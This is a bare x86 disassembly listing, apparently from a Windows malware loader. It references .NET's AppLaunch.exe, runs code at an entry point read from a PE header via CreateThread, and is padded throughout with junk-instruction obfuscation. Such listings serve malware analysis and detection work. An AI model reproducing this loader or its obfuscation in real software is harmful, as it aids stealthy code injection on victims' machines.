mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x154]
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x78
call fcn.00402ac0
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0xe8], 0
setne al
and al, 1
mov byte [ebp - 0x155], al
test byte [ebp - 0x155], 1
je 0x4103cb
mov eax, dword [ebp - 0xdc]
mov ecx, dword [eax]
mov dword [ebp - 0x160], ecx
mov eax, dword [eax + 4]
mov dword [ebp - 0x15c], eax
lea ecx, [ebp - 0x154]
mov eax, dword [ebp - 0xdc]
mov dword [eax + 4], ecx
lea eax, [ebp - 0x154]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
sub esp, 4
shl eax, 1
mov cx, ax
mov eax, dword [ebp - 0xdc]
mov word [eax], cx
dec esi
mov ebx, 0xb3
bswap esi
not ebx
rcr edx, 0x39
imul eax
inc esi
not eax
dec ebx
rcr esi, 0xcf
neg edx
rcl ebx, 0xdb
and ebx, 0xc7
bswap edi
not eax
ror esi, 0xe8
add eax, 0x76
neg edi
imul edx
not esi
bswap ebx
bswap edi
mov edx, 0x2b
dec esi
dec esi
inc esi
imul esi
inc esi
imul edx
bswap eax
not edx
not edx
sbb edi, 0x1e
sub esi, 0x50
mov edi, 0x46
imul esi
not ebx
rol edi, 0xfc
neg edi
inc edx
rol esi, 7
mov esi, 0x43
sbb esi, 0xcd
dec edi
inc eax
sub edi, 0x5a
and eax, 0x2b
sbb eax, 0xb
inc eax
ror esi, 0xfc
or edx, 0x30
mov edx, 0x23
ror edx, 0xbe
sbb edx, 8
imul ebx
mov edx, 0x26
bswap edi
ror eax, 0xd2
rcr esi, 0x59
bswap edx
dec edx
not edi
inc eax
ror edi, 0x27
not esi
add edi, 0x82
rol ebx, 1
rcl esi, 0x34
neg eax
mov esi, 2
bswap edx
rcr esi, 0x93
mov edi, 0xfc
not eax
rcr esi, 0x34
not esi
not eax
and edx, 0xcb
neg esi
sub edi, 0xdc
neg ebx
sbb edi, 0x50
inc esi
not ebx
or edi, 0xfd
dec esi
rol ebx, 0xc2
bswap eax
ror ebx, 0x74
imul edx
dec edx
and ebx, 0x21
imul eax
ror ebx, 0x47
rcr eax, 0xb2
add edx, 0x39
sbb edi, 0x21
dec eax
imul edx
not edi
and edi, 0x4a
dec eax
ror edx, 0xa0
imul ebx
sub edx, 0xa5
dec ebx
bswap ebx
neg eax
inc edi
not edx
mov edi, 0x16
neg edi
inc eax
sub esi, 0
dec edx
sbb eax, 0xe0
rol eax, 0xe2
rol edx, 0x1a
mov edx, 0xf3
bswap eax
or esi, 0x57
dec edi
inc eax
not eax
imul eax
dec ebx
bswap edx
add ebx, 0xa3
and edx, 0x3f
rcl edx, 0x77
bswap ebx
and eax, 0x82
and edx, 0xbb
rol esi, 0x1d
imul esi
and edi, 0x8a
imul ebx
rcl eax, 0x99
dec esi
rcl edi, 0xf2
dec edi
sbb ebx, 0xca
and eax, 0xb1
neg ebx
bswap eax
and edx, 0x8c
bswap edi
sbb edx, 0x94
dec edi
dec eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x18]
add eax, dword [ecx + 0x28]
xor ecx, ecx
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov dword [ebp - 0x164], eax
test byte [ebp - 0x155], 1
je 0x4105da
mov dword [esp], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 4
mov eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0x160]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x15c]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x164]
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
neg edi
dec esi
sbb edi, 0x3d
neg edi
mov edi, 0xb8
rcr edx, 0x13
or ebx, 0x1c
dec edx
neg esi
not edi
add edi, 0xcf
rcr edx, 0x63
imul eax
ror ebx, 0x6e
inc eax
add esi, 0x80
dec esi
neg edx
not edx
rol edx, 0x37
bswap eax
imul edx
mov esi, 0x8c
neg ebx
add esi, 0x96
not edx
mov eax, 0x4a
sub edx, 0x7d
or ebx, 0x3d
imul esi
rol ebx, 0x16
dec edx
ror edi, 0x50
imul eax
rol edx, 0xaf
imul ebx
sub eax, 0xd9
inc ebx
rcl edx, 0xd7
rol eax, 0x12
dec edx
not edi
and esi, 0x5d
bswap ebx
sbb ebx, 0x2a
imul esi
imul edi
not edx
imul edx
add ebx, 0x8c
and ebx, 0xc6
not ebx
rcl eax, 0xc9
dec ebx
and edi, 0x91
inc eax
mov edx, 0xf3
dec eax
rcl esi, 0x79
ror edi, 0xe1
rol edi, 0xd5
bswap esi
dec eax
neg eax
neg eax
imul eax
mov edi, 0x7a
ror edx, 0x3a
bswap eax
rcl esi, 0x81
sub eax, 0x56
ror edx, 0x14
not eax
neg edi
sbb eax, 0x94
or eax, 0xe8
not edx
imul eax
bswap eax
bswap edi
ror ebx, 0x70
imul ebx
inc esi
rcl ebx, 0x15
neg edi
neg ebx
ror eax, 0x7c
bswap ebx
neg ebx
rcr edi, 0x6f
dec esi
bswap esi
mov eax, 0x18
or edx, 0xf4
inc ebx
neg edi
neg edx
dec esi
bswap eax
inc ebx
rcl ebx, 0x71
sbb eax, 0xa4
not eax
not eax
bswap esi
bswap eax
inc edi
not ebx
and esi, 0xf8
ror esi, 0x96
sbb ebx, 0xf0
imul eax
inc eax
sbb ebx, 0x81
ror ebx, 0xfa
bswap ebx
rol esi, 0x37
sbb edi, 0x45
not esi
mov esi, 0x70
and eax, 0x72
dec edx
rcr eax, 0xbb
sub edx, 0xd5
mov esi, 0x20
ror ebx, 0x2c
neg ebx
rcl edi, 0xe5
bswap eax
inc ebx
inc edx
and edi, 0x4d
sbb edx, 0xee
rcl ebx, 9
imul ebx
imul ebx
not esi
ror edi, 0x85
or edx, 0x81
sbb edi, 0xab
dec edi
rol ebx, 0xf7
imul ebx
neg edx
inc edx
and edi, 0x24
neg edx
rcl edx, 0x52
neg edx
dec eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
add esp, 0x178
pop esi
pop edi
pop ebx
pop ebp
ret